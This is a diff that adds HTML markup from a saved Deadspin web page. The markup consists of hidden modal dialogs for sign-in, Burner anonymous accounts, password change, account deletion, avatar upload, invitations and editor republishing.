+ <p class="presence_control cn_editreminder_copy2">While we don't require an email address to sign up, consider adding one to your account. This will give you the ability to reset a lost or stolen password. </p>
+
+ <form action="http://deadspin.com/index.php?op=setprofile" method="post" class="presence_control cn_editreminder_form">
+ <input type="hidden" id="editreminder_newUsername" name="newUsername" maxlength="255" class="presence_control cn_editreminder_newUsername">
+ <input type="hidden" id="editreminder_displayName" name="displayName" maxlength="255" class="presence_control cn_editreminder_displayName">
+ <input type="hidden" id="editreminder_url" name="url" maxlength="255" class="presence_control cn_editreminder_url">
+ <input type="hidden" id="editreminder_aimname" name="aimname" class="presence_control cn_editreminder_aimname">
+ <input type="hidden" id="editreminder_contactname" name="contactName" class="presence_control cn_editreminder_contactname">
+ <input type="hidden" id="editreminder_contactemail" name="contactEmail" class="presence_control cn_editreminder_contactemail">
+ <input type="hidden" id="editreminder_twitterusername" name="twitterUsername" class="presence_control cn_editreminder_twitterusername">
+ <input type="hidden" id="editreminder_facebookUrl" name="facebookUrl" class="presence_control cn_editreminder_facebookurl">
+ <input type="hidden" id="editreminder_isFacebookFanPage" name="facebookUrl" class="presence_control cn_editreminder_isFacebookFanPage">
+ <input type="hidden" id="editreminder_googleplusUrl" name="googleplusUrl" class="presence_control cn_editreminder_googleplusurl">
+ <div class="row">
+ <label for="editreminder_email">Email (not published):</label><input type="text" id="editreminder_email" name="email" maxlength="255" class="validate valid_email presence_control cn_editreminder_email">
+ <div class="validationmessage email_validmsg msg_valid_email" style="display: none;">Please enter a valid email address.</div>
+ </div>
+ <div class="row"><label for="editreminder_newsletter">Sign me up for Gawker's email newsletter</label><input type="checkbox" id="editreminder_newsletter" name="newsletter" class="presence_control cn_editreminder_newsletter" checked="yes"></div>
+ <div class="row">
+ <span class="menubar_login_indicator presence_control cn_editreminder_indicator" style="display: none;"><img width="16" height="16" alt="registration sent, waiting for reply" src="./deadspin_files/progressIndicator_roller_f0f0f0.gif"></span>
+ <input type="submit" value="Add email" class="presence_control cn_editreminder_submit">
+ <input type="button" value="No thanks" class="presence_control cn_editreminder_cancel">
+ <input type="hidden" name="noemail" value="0" class="presence_control cn_editreminder_noemail">
+ <div class="presence_control cn_editreminder_message"></div>
+ </div>
+ </form>
+ </div>
+ </div>
+ </div>
+
+ <!-- avataruploader dialog -->
+
+ <div class="modal modalpopup avatar_upload presence_control cn_avatarupload_dialog" style="display: none; width: 450px;">
+ <div class="inner">
+ <div class="caption modfont">Change avatar image</div>
+ <a href="http://deadspin.com/#" class="presence_control cancel cn_avatarupload_cancel" title="Cancel"></a>
+
+ <div class="text">
+ <div id="avataruploader_form_container">
+ <img id="avatarimage" class="presence_control cn_profileedit_avatarimage" height="160px" width="160px">
+ <form enctype="multipart/form-data" action="http://deadspin.com/index.php?op=avatar_upload" method="post" target="avatarupload_iframe" class="presence_control cn_avatarupload_form">
+ <div class="row">
+ <label for="avatarupload_picture">Image file:</label><input type="file" name="picture" id="avatarupload_picture" size="22" class="validate valid_nonempty presence_control cn_avatarupload_file">
+ <div class="validationmessage picture_validmsg msg_valid_nonempty" style="display: none;">Please provide a file.</div>
+ </div>
+ <div class="row submit">
+ <input type="hidden" class="presence_control cn_avatarupload_authtoken" name="authtoken" value="">
+ <input type="hidden" class="presence_control cn_avatarupload_site" name="site" value="http://deadspin.com">
+ <input type="hidden" class="presence_control cn_avatarupload_onsuccess" name="onsuccess" value="?op=avataruploadsuccess">
+ <input type="hidden" class="presence_control cn_avatarupload_onfaliure" name="onfailure" value="?op=avataruploadfailure&error_code=">
+
+ <span class="menubar_login_indicator presence_control cn_avatarupload_indicator" style="display: none;"></span>
+ <input type="submit" class="presence_control button cn_avatarupload_submit" value="upload image">
+ <input type="button" value="Cancel" class="presence_control button cn_avatarupload_cancel ">
+ <div class="presence_control cn_avatarupload_message"></div>
+ </div>
+ </form>
+ <iframe id="avatarupload_iframe" name="avatarupload_iframe" width="0" height="0" marginheight="0" marginwidth="0" frameborder="0" style="display: none;"></iframe></div>
+
+
+ </div>
+ </div>
+ </div>
+
+ <!-- change password -->
+
+ <div class="modal modalpopup change_password presence_control cn_changepassword_dialog" style="display: none; width: 303px;">
+ <div class="inner">
+ <div class="caption modfont">Change password</div>
+ <a href="http://deadspin.com/#" class="presence_control cancel cn_changepassword_cancel" title="Cancel"></a>
+
+ <div class="text">
+ <p id="noAsciiNotifyChangePassword" style="display: none;">
+ You password contains non US-ASCII characters. We recommend you change your password due to a flaw in handling non US-ASCII characters.
+ </p>
+ <form action="http://deadspin.com/index.php?op=setprofile" method="post" class="presence_control cn_changepassword_form">
+ <input type="hidden" name="username" value="" class="presence_control cn_changepassword_username">
+ <input type="hidden" name="id" value="" class="presence_control cn_changepassword_id">
+ <div class="row">
+ <label for="changepassword_password">Old Password:</label><input type="password" name="password" id="changepassword_password" maxlength="255" class="validate valid_nonempty presence_control textfield cn_changepassword_password">
+ </div>
+ <div class="row">
+ <label for="changepassword_new_password">New Password:</label><input type="password" name="new_password" id="changepassword_new_password" maxlength="255" class="validate valid_nonempty presence_control textfield cn_changepassword_new_password">
+ </div>
+ <div class="row">
+ <label for="changepassword_confirm_password">Confirm Password:</label><input type="password" name="confirm_password" id="changepassword_confirm_password" maxlength="255" class="validate valid_nonempty valid_sameas-new_password presence_control textfield cn_changepassword_confirm_password">
+ </div>
+ <div class="row presence_control cn_changepassword_messagebig" style="text-align: right; color: #900"></div>
+ <div class="row submit">
+ <span class="menubar_login_indicator presence_control cn_changepassword_indicator" style="display: none;"><img width="16" height="16" alt="password change in progress, waiting for reply" src="./deadspin_files/progressIndicator_roller_f0f0f0.gif"></span>
+ <div class="validationmessage password_validmsg msg_valid_nonempty" style="display: none;">Please enter a password.</div>
+ <div class="validationmessage new_password_validmsg msg_valid_nonempty" style="display: none;">Please enter a password.</div>
+ <div class="validationmessage confirm_password_validmsg msg_valid_nonempty" style="display: none;">Please confirm your password.</div>
+ <div class="validationmessage confirm_password_validmsg msg_valid_sameas" style="display: none;">Passwords are not identical.</div>
+ <input type="submit" value="Save" class="presence_control button cn_changepassword_submit">
+ <input type="button" value="Cancel" class="presence_control button cn_changepassword_cancel">
+ <div class="presence_control cn_changepassword_message"></div>
+ </div>
+ </form>
+
+ <div class="footer">
+ <a class="reset presence_control cn_toggleresetpwdialog" href="http://deadspin.com/#">reset password</a>
+ </div>
+ </div>
+ </div>
+ </div>
+
+ <!-- delete user -->
+
+ <div class="modal dialog presence_control cn_deleteuser_dialog" style="display: none;">
+ <div class="inner">
+ <div class="caption marked-head ui-border modfont">Account Deletion</div>
+ <img class="siteIcon" src="./deadspin_files/apple-touch-icon.png">
+
+ <div class="text">
+ <form action="http://deadspin.com/index.php?op=deleteuser" method="post" class="presence_control cn_deleteuser_form">
+ <input type="hidden" name="username" value="" class="presence_control cn_deleteuser_username">
+ <input type="hidden" name="id" value="" class="presence_control cn_deleteuser_id">
+ <div class="row" style="text-align: left;">
+ <p>We understand you'd like to delete your account. If you delete your account all of your information including your comments, messages, posts, and friends and followers associations will be removed from our system. Please consider the following options before clicking delete.</p>
+ <p>If you're concerned about your public identity on site you can change both your username or your display name. Your display name is the name that is publicly visible to other users. Your username is what you login with and is in your profile url. Both can be edited by going to your profile then clicking "Edit Profile." </p>
+ <p>If you still wish to completely delete your account, click the Delete Account button below. Your account will be locked, and your information will be wiped from our servers within 30 days.</p>
+ </div>
+ <div class="row" style="text-align: left;">
+ <input type="submit" value="Delete Account" class="presence_control cn_deleteuser_submit">
+ <input type="button" value="Cancel" class="presence_control cn_deleteuser_cancel">
+ <span class="menubar_login_indicator presence_control cn_deleteuser_indicator" style="display: none;"><img width="16" height="16" alt="Account deletion is in progress." src="./deadspin_files/progressIndicator_roller_f0f0f0.gif"></span>
+ <div class="presence_control cn_deleteuser_message"></div>
+ </div>
+ <div class="row" style="text-align: left;">
+ <p>If you have any other questions about deleting your account, please contact <a href="mailto:help at gawker.com">help at gawker.com</a>. If you've already contacted <a href="mailto:help at gawker.com">help at gawker.com</a> about deleting your account, we've received your request and will follow up with you.</p>
+ </div>
+ <div class="row">
+ </div>
+ </form>
+ </div>
+ </div>
+ </div>
+
+ <div class="modal modalpopup burnersuccesspanel presence_control cn_burnersuccesspanel_dialog" style="display: none; width: 430px;">
+ <div class="inner">
+ <div class="caption modfont">Login</div>
+ <a href="http://deadspin.com/#" class="presence_control cancel cn_burnersuccesspanel_cancel" title="Cancel"></a>
+ <div class="text">
+ <p><strong>Success! Your screen name is:</strong></p>
+ <p class="screen-name"><span id="burnerLoginName"></span></p>
+ <p><strong>Remember this token!</strong></p>
+ <p>Save the token below if you want to participate in discussions using this screen name.</p>
+ <p class="token"><span id="burnerToken"></span></p>
+ <div class="footer">
+ <button href="#" class="presence_control button cn_burnersuccesspanel_close cn_burnersuccesspanel_cancel">Thanks, let me contribute</button>
+ </div>
+ </div>
+ </div>
+ </div>
+
+ <!-- anon comment panel - belongs to commentbox widget-->
+ <div class="modal modalpopup burnerpanel presence_control cn_burnerpanel_dialog" style="display: none; width: 430px;">
+ <div class="inner">
+ <div class="caption modfont">Login</div>
+ <a href="http://deadspin.com/#" class="presence_control cancel cn_burnerpanel_cancel" title="Cancel"></a>
+ <div class="text">
+ <p><strong>Want to join this discussion right now?</strong></p>
+ <p>Leave a comment instantly. Your account will be remembered on this computer until you clear your cookies.</p>
+
+ <form class="presence_control cn_burnerpanel_form" method="post">
+ <div class="row">
+ <label for="burnerpanel_name">Select a screen name:</label><input id="burnerpanel_name" name="name" type="text" value="" maxlength="255" class="validate valid_nonempty presence_control cn_burnerpanel_name textfield">
+ <input type="submit" value="Go" class="button submit default presence_control cn_burnerpanel_button">
+ <div class="validationmessage msg_valid_nonempty" style="display: none;">Please enter a screen name.</div>
+ <div id="burnerCheckingName" class="burnerNameCheck validationmessage namemessage" style="display: none;">Checking...</div>
+ <div id="burnerNameAvailable" class="burnerNameCheck validationmessage namemessage" style="display: none;">Screen name is available!</div>
+ <div id="burnerNameTaken" class="burnerNameCheck validationmessage namemessage" style="display: none;">Screen name is taken.</div>
+ <div id="burnerCreate" class="burnerNameCheck validationmessage namemessage" style="display: none;">Creating new account...</div>
+ </div>
+ </form>
+ <div class="row login-sso">
+ <!-- input type="button" value="Cancel" class="button button_cancel presence_control cn_burnerpanel_cancel" / -->
+ <p>Log in to Deadspin using Facebook, Twitter or Google. If you've already created an account using one of these services, select the service and you'll be logged into your existing account.</p>
+ <div class="providers modfont">
+ <a href="http://deadspin.com/#" class="presence_control cn_login_oauth type_facebook">
+ <span class="provider">Login with Facebook</span>
+ </a>
+ <a href="http://deadspin.com/#" class="presence_control cn_login_oauth type_twitter">
+ <span class="provider">Login with Twitter</span>
+ </a>
+ <a href="http://deadspin.com/#" class="presence_control cn_login_oauth type_google">
+ <span class="provider">Login with Google</span>
+ </a>
+ </div>
+ </div>
+ </div>
+ </div>
+ </div>
+
+ <!-- anon comment panel - belongs to commentbox widget-->
+ <div class="modal modalpopup guestpanel presence_control cn_guestpanel_dialog" style="display: none; width: 455px;">
+ <div class="inner">
+ <div class="caption modfont">Submit your comment</div>
+ <a href="http://deadspin.com/#" class="presence_control cancel cn_guestpanel_cancel" title="Cancel"></a>
+
+ <div class="text">
+
+ <p>You don't need to login to comment. Just enter your email address below.</p>
+ <p>See how your address will be displayed in the <a href="http://gawker.com/commentfaq/" target="_blank">Comment FAQ</a>.</p>
+
+ <form class="presence_control cn_guestpanel_form" method="post">
+ <div class="row">
+ <label for="guestpanel_email">Email address:</label><input id="guestpanel_email" name="email" type="text" value="" maxlength="255" class="validate valid_nonempty valid_email presence_control cn_guestpanelemail textfield">
+ <div class="validationmessage email_validmsg msg_valid_email" style="display: none;">Please enter a valid email address.</div>
+ <div class="validationmessage email_validmsg msg_valid_nonempty" style="display: none;">Please enter a valid email address.</div>
+ </div>
+ <div class="row">
+ <label for="gusetpanel_newsletter">Get Deadspin's daily newsletter?</label><input type="checkbox" id="guestpanel_newsletter" name="newsletter" class="presence_control cn_guestpanel_newsletter" checked="yes">
+ <input type="submit" value="Submit" class="button default presence_control cn_guestpanel_button">
+ </div>
+
+ <div class="row">
+ <span class="menubar_guestpanel_indicator presence_control cn_guestpanel_indicator" style="display: none;"><img width="16" height="16" alt="logging in" src="./deadspin_files/progressIndicator_roller_f0f0f0.gif"></span>
+ <div class="presence_control cn_guestpanelmessage"></div>
+ </div>
+ </form>
+
+ <div class="footer">
+ <input type="button" value="Cancel" class="button button_cancel presence_control cn_guestpanel_cancel">
+ <p>
+ <strong>Already have an account?</strong>
+ <a href="http://deadspin.com/#|login" class="ic presence_control cn_dialog dialog_login">Login now.</a><br>
+ <strong>New?</strong>
+ <a href="http://deadspin.com/#|login" class="ic presence_control cn_dialog dialog_login">Login with your Facebook or Twitter account.</a>
+ </p>
+ </div>
+ </div>
+ </div>
+ </div>
+
+
+ <!-- star invites -->
+
+ <div class="modal dialog editor_control cn_starinvite_dialog" style="display: none; width:550px;">
+ <div class="inner">
+ <div class="caption marked-head ui-border modfont">Send An Invitation <span class="editor_control cn_starinvite_left"></span></div>
+ <img class="siteIcon" src="./deadspin_files/apple-touch-icon.png">
+
+ <div class="text">
+ <p class="editor_control cn_starinvite_copy">To invite commenters to this page, paste in a list of comma-separated email addresses, and then select send invites.</p>
+
+ <form action="http://deadspin.com/index.php?op=sendinvite" method="post" class="editor_control cn_starinvite_form">
+ <div class="row">
+ <label for="starinvite_email">Emails:</label><textarea style="width:350px;height:80px;" id="starinvite_email" name="emailto" class="validate valid_nonempty valid_emails_comma valid_unique_comma valid_limit_comma-10 editor_control cn_starinvite_email"></textarea>
+ <div class="validationmessage emailto_validmsg msg_valid_nonempty" style="display: none;">Please enter at least one email address.</div>
+ <div class="validationmessage emailto_validmsg msg_valid_emails_comma" style="display: none;">Please use valid email addresses.</div>
+ <div class="validationmessage emailto_validmsg msg_valid_unique_comma" style="display: none;">Please use unique email addresses.</div>
+ <div class="validationmessage emailto_validmsg msg_valid_limit_comma" style="display: none;">Please enter fewer addresses.</div>
+ </div>
+ <div class="row">
+ <span class="menubar_login_indicator editor_control cn_starinvite_indicator" style="display: none;"><img width="16" height="16" alt="requesting invites" src="./deadspin_files/progressIndicator_roller_f0f0f0.gif"></span>
+ <input type="hidden" name="postId" value="" class="editor_control cn_starinvite_postid">
+ <input type="hidden" name="ajax" value="true" class="editor_control cn_starinvite_ajax">
+ <input type="submit" value="Send invites" class="editor_control cn_starinvite_submit">
+ <input type="button" value="Cancel" class="editor_control cn_starinvite_cancel">
+ <div class="editor_control cn_starinvitemessage"></div>
+ </div>
+ </form>
+
+ </div>
+ </div>
+ </div>
+
+ <div class="modal modalpopup dialog mail2control cn_mail2_dialog" style="display: none; width:550px;">
+ <div class="inner">
+ <div class="caption modfont">Send a link</div>
+ <a href="http://deadspin.com/#" class="presence_control cancel mail2control cn_cancel" title="Cancel"></a>
+
+ <div class="text">
+ <p>Send a link to this post via email:</p>
+
+ <form action="./deadspin_files/deadspin.com" class="mail2control cn_form" id="mail2form" method="post">
+ <input name="hash" type="hidden" value="5271d7ad69861b82fbe4c1a02fc4e10d">
+ <input name="op" type="hidden" value="mail2">
+ <input name="uri" class="mail2control cn_uri" type="hidden" value="http://deadspin.com/">
+ <input name="title" class="mail2control cn_title" type="hidden" value="Deadspin, Sports News without Access, Favor, or Discretion">
+ <input name="mail2sitename" type="hidden" value="Deadspin">
+ <input class="mail2control cn_token" name="mail2token" type="hidden" value="">
+ <div class="row">
+ <label for="mail2_from">Your name:</label><input id="mail2_from" name="from" type="text" value="" maxlength="255" class="validate valid_nonempty mail2control cn_from textfield">
+ <div class="validationmessage from_validmsg msg_valid_nonempty" style="display: none;">Please enter your name.</div>
+ </div>
+ <div class="row">
+ <label for="mail2_fromemail">Your email address:</label><input id="mail2_fromemail" name="fromemail" type="text" value="" maxlength="255" class="validate valid_nonempty valid_email mail2control cn_fromemail textfield">
+ <div class="validationmessage fromemail_validmsg msg_valid_nonempty" style="display: none;">Please enter your email address.</div>
+ <div class="validationmessage fromemail_validmsg msg_valid_email" style="display: none;">Please enter a valid email address.</div>
+ </div>
+ <div class="row">
+ <label for="mail2_to">Recipient's Email Address:</label><input id="mail2_to" name="to" type="text" value="" maxlength="255" class="validate valid_nonempty valid_email mail2control cn_to textfield">
+ <div class="validationmessage to_validmsg msg_valid_nonempty" style="display: none;">Please enter your recipient's email address.</div>
+ <div class="validationmessage to_validmsg msg_valid_email" style="display: none;">Please enter a valid email address.</div>
+ </div>
+ <div class="row">
+ <label for="mail2_message">Your Message:</label><textarea id="mail2_message" name="message" class="validate valid_nonempty textfield"></textarea>
+ <div class="validationmessage message_validmsg msg_valid_nonempty" style="display: none;">Please enter your message.</div>
+ </div>
+ <div class="row">
+ <span class="mail2control cn_indicator" style="display: none;"><img width="16" height="16" alt="Sending message" src="./deadspin_files/progressIndicator_roller_f0f0f0.gif"></span>
+ <input type="submit" value="Send message" class="mail2control cn_submit button">
+ <input type="button" value="Cancel" class="mail2control cn_cancel button">
+ <div class="mail2control cn_message"></div>
+ </div>
+ </form>
+ </div>
+ </div>
+ </div>
+
+ <div class="modal modalpopup republish_control cn_republish_dialog" style="display: none; width: 300px;">
+ <div class="inner">
+ <div class="caption modfont">Republish</div>
+ <a href="http://deadspin.com/#" class="republish_control cancel cn_republish_cancel" title="Cancel"></a>
+ <div class="text">
+ <form action="http://deadspin.com/index.php" method="post" class="republish_control cn_republish_form">
+ <input type="hidden" name="op" value="ajax_republish">
+ <input type="hidden" name="action" class="republish_control cn_action" value="">
+ <input type="hidden" name="postId" class="republish_control cn_postId">
+ <div class="row">Republish to:
+ <select name="siteId" class="republish_control cn_siteId"></select>
+ </div>
+ <div class="row">Republish type:
+ <select name="type">
+ <option value="quicklink">Quicklink</option>
+ <option value="mirror">Mirrored</option>
+ </select>
+ </div>
+ <div class="row">
+ Republish On <input class="republish_control textfield cn_republish_issued" name="issued" value="">
+ </div>
+ <div class="row republish_control cn_message" style="display: none;"></div>
+ <div class="row republish_control cn_progress" style="display: none">
+ <img width="16" height="16" alt="logging in" src="./deadspin_files/progressIndicator_roller_f0f0f0.gif">
+ Saving...
+ </div>
+ <div class="row">
+ <button class="republish_control cn_republish_submit button">Republish</button>
+ <button class="republish_control cn_republish_cancel button">Cancel</button>
+ <button class="republish_control cn_republish_cancel hidden button">Close</button>
+ </div>
+ <div class="row copy">
+ <p><strong>Mirror</strong> creates a mirror copy of the post that appears on the destination site. Post metadata (headline, timestamp, tags) can be changed, but not the post body, and any changes to the post body are reflected in the mirror.</p>
+ <p><strong>Quicklink</strong> creates link in the blog bar on the destination site that opens the story in a new tab on the originating site.</p>
+ </div>
+ </form>
+ </div>
+ </div>
+ </div>
+
+ <div class="modal dialog republish_control cn_edit_dialog" style="display: none; width: 300px;">
+ <div class="inner">
+ <div class="caption marked-head ui-border modfont">Republish</div>
+ <img class="siteIcon" src="./deadspin_files/apple-touch-icon.png">
+ <div class="text">
+ <form action="http://deadspin.com/index.php" method="post" class="republish_control cn_edit_form">
+ <input type="hidden" name="op" value="ajax_republish">
+ <input type="hidden" name="action" value="edit">
+ <input type="hidden" name="id" class="republish_control cn_postId">
+ <div class="row">
+ Republished On <input class="republish_control cn_edit_issued" name="issued" value="">
+ </div>
+ <div class="row">Republish type:
+ <select name="type">
+ <option value="Quicklink">Quicklink</option>
+ <option value="Mirrored">Mirrored</option>
+ </select>
+ </div>
+ <div class="row">
+ Post Status
+ <select class="republish_control cn_edit_pubstatus" name="pubStatus">
+ <option value="DRAFT">draft</option>
+ <option value="TAGPAGE">tagpage</option>
+ <option value="PUBLISHED">published</option>
+ <option value="DELETED">deleted</option>
+ </select>
+ </div>
+ <div class="row republish_control cn_message" style="display: none;"></div>
+ <div class="row republish_control cn_progress" style="display: none">
+ <img width="16" height="16" alt="logging in" src="./deadspin_files/progressIndicator_roller_f0f0f0.gif">
+ Saving...
+ </div>
+ <div class="row">
+ <button class="republish_control cn_edit_submit">Save</button>
+ <button class="republish_control cn_edit_cancel">Cancel</button>
+ </div>
+ </form>
+ </div>
+ </div>
+ </div>
+
+ <div class="modal modalpopup roundup_control cn_roundup_dialog" style="display: none; width: 500px;">
+ <div class="inner">
+ <div class="caption modfont">Roundup Snippet</div>
+ <a href="http://deadspin.com/#" class="roundup_control cn_roundup_cancel cancel" title="Cancel"></a>
+ <div class="text">
+ <form method="post" class="roundup_control cn_roundup_form">
+ <div class="row roundup_control cn_progress" style="display: block">
+ <img width="16" height="16" alt="logging in" src="./deadspin_files/progressIndicator_roller_f0f0f0.gif">
+ Loading...
+ </div>
+ <div class="row">
+ <textarea name="roundup_snippet" class="roundup_control cn_roundup_snippet"></textarea>
+ </div>
+ <div class="row submit">
+ <button class="roundup_control cn_roundup_cancel button">Close</button>
+ </div>
+ </form>
+ </div>
+ </div>
+ </div>
+
+ <div class="modal modalpopup dialog ssousermigrate cn_ssousermigrate_dialog presence_control" style="display: none; width: 500px;">
+ <div class="inner">
+ <div class="caption modfont">Convert your account</div>
+ <div class="text">
+ <p>Deadspin is making some changes to its comment system that will require you to log in with a Facebook, Google, or Twitter account. You must convert your account to one of these services in order to continue using your account.</p>
+ <p>Converting your account on Deadspin will do so on all Gawker Media Sites. <a href="http://deadspin.com/#" class="presence_control cn_fullsitelist"><img src="./deadspin_files/icon-question.png"></a></p>
+ <p><strong>Want to Remain Anonymous?</strong> We suggest creating a separate Twitter or Google account. Choose the third party service below and create a new account.</p>
+ </div>
+ <div class="providers modfont">
+ <a href="http://deadspin.com/#" class="presence_control cn_login_oauth type_facebook migrate">
+ <span class="provider">Login with Facebook</span>
+ </a>
+ <a href="http://deadspin.com/#" class="presence_control cn_login_oauth type_twitter migrate">
+ <span class="provider">Login with Twitter</span>
+ </a>
+ <a href="http://deadspin.com/#" class="presence_control cn_login_oauth type_google migrate">
+ <span class="provider">Login with Google</span>
+ </a>
+ </div>
+ <div class="text-bottom">
+ <p><strong>More Questions?</strong> For more information, visit our <a href="http://gawker.zendesk.com/forums/20554597-converting-your-account">Frequently Asked Questions</a> or email <a href="mailto:help at gawker.com">help at gawker.com</a>.
+ </p></div>
+ <div class="footer">
+ <a href="http://deadspin.com/#" class="presence_control cn_ssousermigrate_cancel">Remind me later</a>
+ </div>
+ </div>
+ </div>
+
+ <div class="modal modalpopup dialog ssousermigratesuccess cn_ssousermigratesuccess_dialog presence_control" style="display: none; width: 400px;">
+ <div class="inner">
+ <div class="caption modfont">Account Converted</div>
+ <a href="http://deadspin.com/#" class="presence_control cn_ssousermigratesuccess_cancel cancel" title="Cancel"></a>
+ <div class="text">
+ <p>Thank you for converting your account.</p>
+ <p>When logging in to any Gawker Media site, including Deadspin, log in using your <span id="sso-provider-name">$provider</span> account. <a href="http://deadspin.com/#" class="presence_control cn_fullsitelist"><img src="./deadspin_files/icon-question.png" class="sitelist"></a></p>
+ <p>For more information, visit the <a href="http://gawker.zendesk.com/forums/20554597-converting-your-account" target="_blank">Help Desk</a> or email <a href="mailto:help at gawker.com">help at gawker.com</a>.</p>
+ <div class="row">
+ <button class="presence_control button cn_ssousermigratesuccess_ok">Ok</button>
+ </div>
+ </div>
+ </div>
+ </div>
+
+ <div class="modal modalpopup dialog invitecontrol cn_invite_dialog" style="display: none; width:550px;">
+ <div class="inner">
+ <div class="caption modfont">Invite a friend</div>
+ <a href="http://deadspin.com/#" class="presence_control cancel invitecontrol cn_cancel" title="Cancel"></a>
+
+ <div class="text">
+ <p>Invite a friend to join the discussion on this post <span class="invitecontrol cn_post_title" style="font-weight: bold;"></span> via email:</p>
+
+ <form action="./deadspin_files/deadspin.com" class="invitecontrol cn_form" id="inviteform" method="post">
+ <input name="hash" type="hidden" value="5271d7ad69861b82fbe4c1a02fc4e10d">
+ <input name="op" type="hidden" value="invite">
+ <input name="uri" class="invitecontrol cn_uri" type="hidden" value="">
+ <input name="title" class="invitecontrol cn_title" type="hidden" value="">
+ <input name="invitesitename" type="hidden" value="Deadspin">
+ <input class="invitecontrol cn_token" name="invitetoken" type="hidden" value="undefined">
+ <div class="row">
+ <label for="invite_from">Your name:</label><input id="invite_from" name="from" type="text" value="" maxlength="255" class="validate valid_nonempty invitecontrol cn_from textfield">
+ <div class="validationmessage from_validmsg msg_valid_nonempty" style="display: none;">Please enter your name.</div>
+ </div>
+ <div class="row">
+ <label for="invite_fromemail">Your email address:</label><input id="invite_fromemail" name="fromemail" type="text" value="" maxlength="255" class="validate valid_nonempty valid_email invitecontrol cn_fromemail textfield">
+ <div class="validationmessage fromemail_validmsg msg_valid_nonempty" style="display: none;">Please enter your email address.</div>
+ <div class="validationmessage fromemail_validmsg msg_valid_email" style="display: none;">Please enter a valid email address.</div>
+ </div>
+ <div class="row">
+ <label for="invite_to">Recipient's Email Address:</label><input id="invite_to" name="to" type="text" value="" maxlength="255" class="validate valid_nonempty valid_email invitecontrol cn_to textfield">
+ <div class="validationmessage to_validmsg msg_valid_nonempty" style="display: none;">Please enter your recipient's email address.</div>
+ <div class="validationmessage to_validmsg msg_valid_email" style="display: none;">Please enter a valid email address.</div>
+ </div>
+ <div class="row">
+ <label for="invite_message">Your Message:</label><textarea id="invite_message" name="message" class="validate valid_nonempty textfield"></textarea>
+ <div class="validationmessage message_validmsg msg_valid_nonempty" style="display: none;">Please enter your message.</div>
+ </div>
+ <div class="row">
+ <span class="invitecontrol cn_indicator" style="display: none;"><img width="16" height="16" alt="Sending message" src="./deadspin_files/progressIndicator_roller_f0f0f0.gif"></span>
+ <input type="submit" value="Send message" class="invitecontrol cn_submit button">
+ <input type="button" value="Cancel" class="invitecontrol cn_cancel button">
+ <div class="invitecontrol cn_message"></div>
+ </div>
+ </form>
+ </div>
+ </div>
+ </div>
+ <div class="modal_overlay presence_control ic editor_control user_control mail2control invitecontrol cn_overlay" style="display:none;"></div>
+
+<div class="modal modalpopup dialog logindialog userinit_dialog user_control cn_userinit_dialog" style="display: none; width: 400px;">
+ <div class="inner">
+ <div class="caption modfont">Sign in</div>
+ <a href="http://deadspin.com/#" class="user_control cancel cn_userinit_cancel" title="Cancel"><i class="icon"></i></a>
+ <div class="text">
+ <div class="providers">
+ <div class="modal-split pane-oauth">
+ <a href="http://deadspin.com/#" class="provider modfont user_control cn_login_oauth type_facebook migrate">
+ <i class="icon"></i>
+ <span>Facebook</span>
+ </a>
+ <a href="http://deadspin.com/#" class="provider modfont user_control cn_login_oauth type_twitter migrate">
+ <i class="icon"></i>
+ <span>Twitter</span>
+ </a>
+ <a href="http://deadspin.com/#" class="provider modfont user_control cn_login_oauth type_google migrate">
+ <i class="icon"></i>
+ <span>Google</span>
+ </a>
+ </div>
+ <div class="modal-split pane-burner">
+ <div id="burnerButtonDefaultState">
+ <a href="http://deadspin.com/#" id="burnerButton" class="provider modfont login_button type_burner user_control cn_burnerStart">
+ <i class="icon"></i>
+ <span>Burner</span>
+ </a>
+ </div>
+ <p>Use Burner to comment anonymously. <a href="http://gawker.zendesk.com/forums/20709631-burners" target="_blank">Learn more »</a></p>
+ </div>
+ </div>
+
+ <div class="footer">
+ <a href="http://deadspin.com/#" class="user_control cn_kinjalogin">Have an old Deadspin account?</a>
+ </div>
+ </div>
+ </div>
+</div>
+
+<div class="modal modalpopup dialog logindialog burnerlogin_dialog user_control cn_burnerlogin_dialog" style="display: none; width: 400px;">
+ <div class="inner">
+ <div class="caption modfont">Burner sign in</div>
+ <a href="http://deadspin.com/#" class="user_control cancel cn_burnerlogin_cancel" title="Cancel"><i class="icon"></i></a>
+ <div class="text">
+ <form action="http://deadspin.com/#" id="burnerLoginForm" class="user_control cn_burnerloginform">
+ <div class="row">
+ <label for="burnerLoginScreenName">Screen name:</label>
+ <input name="screenname" class="textfield" id="burnerLoginScreenName">
+ </div>
+ <div class="row">
+ <label for="burnerLoginToken">Key:</label>
+ <input name="token" class="textfield" id="burnerLoginToken">
+ </div>
+ <div class="row row-submit">
+ <input type="submit" class="button" value="Sign in">
+ </div>
+ </form>
+ <div id="burnerLoginKinjaMessage" class="burnerLoginMessage validationmessage" style="display: none;">Screen name or key is not correct.</div>
+ <div id="burnerLoginFailMessage" class="burnerLoginMessage validationmessage" style="display: none;">Screen name or key is not correct.</div>
+ <div id="burnerLoginSuccessMessage" class="burnerLoginMessage validationmessage" style="display: none;">Signed in!</div>
+ <div id="burnerLoginLoginMessage" class="burnerLoginMessage validationmessage" style="display: none;">Signing in...</div>
+ <div id="burnerLoginNameEmptyMessage" class="burnerLoginMessage validationmessage" style="display: none;">The screen name field is empty!</div>
+ <div id="burnerLoginTokenEmptyMessage" class="burnerLoginMessage validationmessage" style="display: none;">The key field is empty!</div>
+ <div class="footer">
+ <a href="http://deadspin.com/#" class="control-back user_control cn_toburnercreate">« Back</a>
+ <a href="http://gawker.zendesk.com/forums/20709631-burners" target="_blank">Need help?</a>
+ </div>
+ </div>
+ </div>
+</div>
+
+<div class="modal modalpopup dialog logindialog burnercreate_dialog user_control cn_burnercreate_dialog" style="display: none; width: 400px;">
+ <div class="inner">
+ <div class="caption modfont">Sign in</div>
+ <a href="http://deadspin.com/#" class="user_control cancel cn_burnercreate_cancel" title="Cancel"><i class="icon"></i></a>
+ <div class="text">
+ <form action="http://deadspin.com/#" id="burnerCreateForm" class="user_control cn_burnercreateform">
+ <div class="row">
+ <label for="burnerCreateScreenName">Create a screen name</label>
+ <input name="screenname" class="textfield" id="burnerCreateScreenName">
+ <input type="submit" class="button" value="Go">
+ </div>
+ <p class="alreadyHave"><a href="http://deadspin.com/#" id="burnerLoginButton" class="user_control">I already have a burner screen name »</a></p>
+ <div id="burnerCreateCaptchaFailMessage" class="burnerCreateMessage validationmessage" style="display: none;">Invalid captcha</div>
